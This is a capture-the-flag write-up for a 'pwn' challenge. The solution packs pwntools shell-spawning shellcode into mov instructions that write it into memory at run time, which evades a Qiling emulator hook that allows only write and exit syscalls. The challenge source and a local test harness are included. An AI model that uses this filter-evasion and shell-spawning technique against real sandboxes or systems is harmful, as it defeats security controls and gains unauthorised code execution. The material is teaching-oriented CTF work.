Tags: pwn qiling 

Rating:

The previous writeup [https://ctftime.org/writeup/31092](https://ctftime.org/writeup/31092) is poorly explained, so I tried and wrote it again. Also no need for `mov rax, rsp` instruction at the end.

# Solution
```python
from pwn import *
context.arch="amd64"

shellcode_bytes = asm(shellcraft.sh())
print(len(shellcode_bytes)) # it is 48 so we use 6 registers to mov

shellcode_bytes_unpacked=[]
for offset in range(0,len(shellcode_bytes),8):
# unpack bytes to use in mov instructions
shellcode_bytes_unpacked.append(u64(shellcode_bytes[offset:offset+8]))

sc=f"""
mov rbx, {shellcode_bytes_unpacked[0]}
mov rcx, {shellcode_bytes_unpacked[1]}
mov rdx, {shellcode_bytes_unpacked[2]}
mov rsi, {shellcode_bytes_unpacked[3]}
mov rdi, {shellcode_bytes_unpacked[4]}
mov r9, {shellcode_bytes_unpacked[5]}

lea rax, [rip+rip_offset_label]

mov QWORD PTR [rax], rbx
mov QWORD PTR [rax+0x8], rcx
mov QWORD PTR [rax+0x10], rdx
mov QWORD PTR [rax+0x18], rsi
mov QWORD PTR [rax+0x20], rdi
mov QWORD PTR [rax+0x28], r9

rip_offset_label:

"""

inp = asm(sc).hex()
print(inp)
```

# Code given in the challenge
```python
#!/usr/bin/env python3
import qiling
import pwn
import subprocess
import capstone.x86_const

pwn.context.arch = "amd64"
dump = []

def code_hook(ql, address, size):
global dump
buf = ql.mem.read(address, size)
for i in md.disasm(buf, address):
allowed_syscalls = {1, 0x3c}
if (
capstone.x86_const.X86_GRP_INT in i.groups
and ql.reg.eax not in allowed_syscalls
):
print(f"[-] syscall = {hex(ql.reg.eax)}")
raise ValueError("HACKING DETECTED!")

ignored_groups = {
capstone.x86_const.X86_GRP_JUMP,
capstone.x86_const.X86_GRP_CALL,
capstone.x86_const.X86_GRP_RET,
capstone.x86_const.X86_GRP_IRET,
capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
}
ignore = len(set(i.groups) & ignored_groups) > 0

print(
f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"
)
if not ignore:
dump.append(bytes(i.bytes))

inp = input("Enter code in hex:\n")
code = bytes.fromhex(inp)

ql = qiling.Qiling(
code=code,
rootfs="/",
ostype="linux",
archtype="x8664",
)

ql.hook_code(code_hook)
md = ql.create_disassembler()
md.detail = True
ql.run()

print("[+] Your program has been flattened! Executing ...")
new_code = b"".join(dump)
filename = pwn.make_elf(new_code, extract=False, vma=0x11FF000)
subprocess.run([filename])

```

# To try locally
```python
#!/usr/bin/env python3
import qiling
import pwn
import subprocess
import capstone.x86_const

pwn.context.arch = "amd64"
dump = []

def code_hook(ql, address, size):
global dump
buf = ql.mem.read(address, size)
for i in md.disasm(buf, address):
allowed_syscalls = {1, 0x3c}
if (
capstone.x86_const.X86_GRP_INT in i.groups
and ql.reg.eax not in allowed_syscalls
):
print(f"[-] syscall = {hex(ql.reg.eax)}")
raise ValueError("HACKING DETECTED!")

ignored_groups = {
capstone.x86_const.X86_GRP_JUMP,
capstone.x86_const.X86_GRP_CALL,
capstone.x86_const.X86_GRP_RET,
capstone.x86_const.X86_GRP_IRET,
capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
}
ignore = len(set(i.groups) & ignored_groups) > 0

print(
f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"
)
if not ignore:
dump.append(bytes(i.bytes))

#inp = input("Enter code in hex:\n")
from pwn import *
context.arch="amd64"

shellcode_bytes = asm(shellcraft.sh())
print(len(shellcode_bytes)) # it is 48 so we use 6 registers to mov
shellcode_bytes_unpacked=[]
for offset in range(0,len(shellcode_bytes),8):
# unpack bytes to use in mov instructions
shellcode_bytes_unpacked.append(u64(shellcode_bytes[offset:offset+8]))

sc=f"""
mov rbx, {shellcode_bytes_unpacked[0]}
mov rcx, {shellcode_bytes_unpacked[1]}
mov rdx, {shellcode_bytes_unpacked[2]}
mov rsi, {shellcode_bytes_unpacked[3]}
mov rdi, {shellcode_bytes_unpacked[4]}
mov r9, {shellcode_bytes_unpacked[5]}

lea rax, [rip+rip_offset_label]

mov QWORD PTR [rax], rbx
mov QWORD PTR [rax+0x8], rcx
mov QWORD PTR [rax+0x10], rdx
mov QWORD PTR [rax+0x18], rsi
mov QWORD PTR [rax+0x20], rdi
mov QWORD PTR [rax+0x28], r9

rip_offset_label:

"""

inp = asm(sc).hex()
code = bytes.fromhex(inp)

ql = qiling.Qiling(
code=code,
rootfs="/",
ostype="linux",
archtype="x8664",
)

ql.hook_code(code_hook)
md = ql.create_disassembler()
md.detail = True
ql.run()

print("[+] Your program has been flattened! Executing ...")
new_code = b"".join(dump)
filename = pwn.make_elf(new_code, extract=False, vma=0x11FF000)
import os
os.system(f"cp {filename} .")
subprocess.run([filename])
````